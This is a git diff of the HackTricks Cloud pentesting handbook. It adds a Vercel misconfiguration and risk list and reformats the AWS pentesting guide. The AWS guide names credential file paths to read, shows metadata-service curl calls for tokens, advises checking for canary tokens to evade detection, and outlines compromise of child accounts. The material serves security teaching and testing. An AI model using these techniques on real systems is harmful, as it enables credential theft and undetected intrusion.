+#### Security Configurations:
+
+- **Add members**
+  - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
+  - **Risk:** Attacker persistence
+- **Roles**
+  - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+  - **Risk**: Increate the exposure of the Vercel Team
+
+---
+
+### Access Groups
+
+An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+
+**Potential Misconfigurations:**
+
+- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
+- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
+- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
+- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
+- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+
+---
+
+### Log Drains
+
+#### Security Configurations:
+
+- **Log Drains to third parties:**
+  - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
+  - **Risk:** Partial persistence
+
+---
+
+### Security & Privacy
+
+#### Security Configurations:
+
+- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
+  - **Misconfiguration:**&#x20;
+    - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
+    - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
+  - **Risks:**
+    - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
+      - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
+- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
+  - **Misconfiguration:** Not adding critical Git scopes to the protected list.
+- **Risks:**
+  - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
+  - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
+- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
+  - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
+  - **Risks:**
+    - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
+      - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
+- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
+  - **Misconfiguration:**\
+    Granting access to audit logs to unauthorized team members.
+  - **Risks:**
+    - **Privacy Violations:** Exposure of sensitive user activities and data.
+      - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
+- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
+  - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
+  - **Risk:** Maintain persistence
+- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
+  - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
+  - **Risks:**
+    - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
+    - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
+- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
+  - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
+  - **Risks:**
+    - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
+    - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+
+---
+
+### Secure Compute
+
+**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+
+#### **Potential Misconfigurations and Risks**
+
+1. **Incorrect AWS Region Selection**
+   - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
+   - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
+2. **Overlapping CIDR Blocks**
+   - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
+   - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
+3. **Improper VPC Peering Configuration**
+   - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
+   - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
+4. **Excessive Project Assignments**
+   - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
+   - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
+5. **Inadequate IP Address Management**
+   - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
+   - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
+6. **Including Build Containers Unnecessarily**
+   - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
+   - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
+7. **Failure to Securely Handle Bypass Secrets**
+   - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
+   - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
+8. **Ignoring Region Failover Configurations**
+   - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
+   - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
+9. **Exceeding VPC Peering Connection Limits**
+   - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
+   - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
+10. **Insecure Network Settings**
+    - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
+    - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+
+---
+
+### Environment Variables
+
+**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+
+#### Security Configurations:
+
+- **Exposing Sensitive Variables**
+  - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
+  - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
+- **Sensitive disabled**
+  - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
+  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
similarity index 64%
rename from pentesting-cloud/aws-security/README.md
rename to src/pentesting-cloud/aws-security/README.md
index 1efc09d3b..8c53688de 100644
--- a/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -1,19 +1,6 @@
 # AWS Pentesting
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,24 +8,24 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
 
-{% content-ref url="aws-basic-information/" %}
-[aws-basic-information](aws-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+aws-basic-information/
+{{#endref}}
 
 ## Labs to learn
 
-* [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
-* [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
-* [https://github.com/nccgroup/sadcloud](https://github.com/nccgroup/sadcloud)
-* [https://github.com/bridgecrewio/terragoat](https://github.com/bridgecrewio/terragoat)
-* [https://github.com/ine-labs/AWSGoat](https://github.com/ine-labs/AWSGoat)
-* [http://flaws.cloud/](http://flaws.cloud/)
-* [http://flaws2.cloud/](http://flaws2.cloud/)
+- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
+- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
+- [https://github.com/nccgroup/sadcloud](https://github.com/nccgroup/sadcloud)
+- [https://github.com/bridgecrewio/terragoat](https://github.com/bridgecrewio/terragoat)
+- [https://github.com/ine-labs/AWSGoat](https://github.com/ine-labs/AWSGoat)
+- [http://flaws.cloud/](http://flaws.cloud/)
+- [http://flaws2.cloud/](http://flaws2.cloud/)
 
 Tools to simulate attacks:
 
-* [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
-* [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
+- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
+- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
 
 ## AWS Pentester/Red Team Methodology
 
@@ -46,33 +33,32 @@ In order to audit an AWS environment it's very important to know: which **servic
 
 From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
 
-* **Leaks** in github (or similar) - OSINT
-* **Social** Engineering
-* **Password** reuse (password leaks)
-* Vulnerabilities in AWS-Hosted Applications
-  * [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  * **Local File Read**
-    * `/home/USERNAME/.aws/credentials`
-    * `C:\Users\USERNAME\.aws\credentials`
-* 3rd parties **breached**
-* **Internal** Employee
-* [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- **Leaks** in github (or similar) - OSINT
+- **Social** Engineering
+- **Password** reuse (password leaks)
+- Vulnerabilities in AWS-Hosted Applications
+  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
+  - **Local File Read**
+    - `/home/USERNAME/.aws/credentials`
+    - `C:\Users\USERNAME\.aws\credentials`
+- 3rd parties **breached**
+- **Internal** Employee
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
 
 Or by **compromising an unauthenticated service** exposed:
 
-{% content-ref url="aws-unauthenticated-enum-access/" %}
-[aws-unauthenticated-enum-access](aws-unauthenticated-enum-access/)
-{% endcontent-ref %}
+{{#ref}}
+aws-unauthenticated-enum-access/
+{{#endref}}
 
 Or if you are doing a **review** you could just **ask for credentials** with these roles:
 
-{% content-ref url="aws-permissions-for-a-pentest.md" %}
-[aws-permissions-for-a-pentest.md](aws-permissions-for-a-pentest.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-permissions-for-a-pentest.md
+{{#endref}}
 
-{% hint style="info" %}
-After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
-{% endhint %}
+> [!NOTE]
+> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
 
 ## Basic Enumeration
 
@@ -80,7 +66,9 @@ After you have managed to obtain credentials, you need to know **to who do those
 
 If you found a SSRF in a machine inside AWS check this page for tricks:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
 
 ### Whoami
 
@@ -102,16 +90,15 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
 ```
 
-{% hint style="danger" %}
-Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
-{% endhint %}
+> [!CAUTION]
+> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
+> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
 
 ### Org Enumeration
 
-{% content-ref url="aws-services/aws-organizations-enum.md" %}
-[aws-organizations-enum.md](aws-services/aws-organizations-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-services/aws-organizations-enum.md
+{{#endref}}
 
 ### IAM Enumeration
 
@@ -120,38 +107,37 @@ If you have enough permissions **checking the privileges of each entity inside t
 If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
 Check **how to do the numeration and brute-forcing** in:
 
-{% content-ref url="aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-services/aws-iam-enum.md
+{{#endref}}
 
-{% hint style="info" %}
-Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-In the following section you can check some ways to **enumerate some common services.**
-{% endhint %}
+> [!NOTE]
+> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
+> In the following section you can check some ways to **enumerate some common services.**
 
 ## Services Enumeration, Post-Exploitation & Persistence
 
 AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
 
-{% content-ref url="aws-services/" %}
-[aws-services](aws-services/)
-{% endcontent-ref %}
+{{#ref}}
+aws-services/
+{{#endref}}
 
 Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
 
 Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
 
-{% content-ref url="aws-unauthenticated-enum-access/" %}
-[aws-unauthenticated-enum-access](aws-unauthenticated-enum-access/)
-{% endcontent-ref %}
+{{#ref}}
+aws-unauthenticated-enum-access/
+{{#endref}}
 
 ## Privilege Escalation
 
 If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
 
-{% content-ref url="aws-privilege-escalation/" %}
-[aws-privilege-escalation](aws-privilege-escalation/)
-{% endcontent-ref %}
+{{#ref}}
+aws-privilege-escalation/
+{{#endref}}
 
 ## Publicly Exposed Services
 
@@ -160,7 +146,9 @@ As pentester/red teamer you should always check if you can find **sensitive info
 
 In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
 
-{% embed url="https://book.hacktricks.xyz/" %}
+{{#ref}}
+https://book.hacktricks.xyz/
+{{#endref}}
 
 ## Compromising the Organization
 
@@ -168,20 +156,20 @@ In this book you should find **information** about how to find **exposed AWS ser
 
 When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
 
-<figure><img src="../../.gitbook/assets/image (171).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
 So, in order to access as administrator a child account you need:
 
-* **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
-  * To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
-  * You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-* **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
+  - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
+  - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
+- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
 
 ## Automated Tools
 
 ### Recon
 
-* [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
 
 ```bash
 # Install
@@ -194,8 +182,8 @@ AWS_PROFILE=<profile> aws_recon \
   --verbose
 ```
 
-* [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-* [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
 
 ```bash
 # Installation steps in github
@@ -223,7 +211,7 @@ python3 cloudmapper.py stats --accounts dev
 ## In the report you will find all the info already
 python3 cloudmapper.py report --accounts dev
 
-# Identify potential issues 
+# Identify potential issues
 python3 cloudmapper.py audit --accounts dev --json > audit.json
 python3 cloudmapper.py audit --accounts dev --markdow > audit.md
 python3 cloudmapper.py iam_report --accounts dev
@@ -242,7 +230,7 @@ python cloudmapper.py prepare #Prepare webserver
 python cloudmapper.py webserver #Show webserver
 ```
 
-* [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
+- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
 
 ```bash
 # Install
@@ -253,15 +241,15 @@ pip install cartography
 AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt  --neo4j-user neo4j
 ```
 
-* [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-* [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-* [**aws\_public\_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
 
 ### Privesc & Exploiting
 
-* [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-* [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc\_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
-  * Note that pacu **only checks your own privescs paths** (not account wide).
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
+  - Note that pacu **only checks your own privescs paths** (not account wide).
 
 ```bash
 # Install
@@ -277,7 +265,7 @@ pacu
 > exec iam__privesc_scan # List privileged permissions
 ```
 
-* [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 
 ```bash
 # Install
@@ -301,7 +289,7 @@ pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
 
-* [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
   It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
 
 ```bash
@@ -316,13 +304,13 @@ cloudsplaining download --profile dev
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
 
-* [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-* [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-* [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
 
 ### Audit
 
-* [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
 
 ```bash
 ./index.js --csv=file.csv --console=table --config ./config.js
@@ -331,7 +319,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
 ## use "cis" for cis level 1 and 2
 ```
 
-* [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
 
 ```bash
 # Install python3, jq and git
@@ -344,13 +332,13 @@ prowler <provider>
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
 
-* [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
 
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
 
-* [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
 
 ```bash
 # Install
@@ -363,14 +351,14 @@ scout --help
 scout aws -p dev
 ```
 
-* [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-* [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
 
 ### Constant Audit
 
-* [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-* [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-* [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
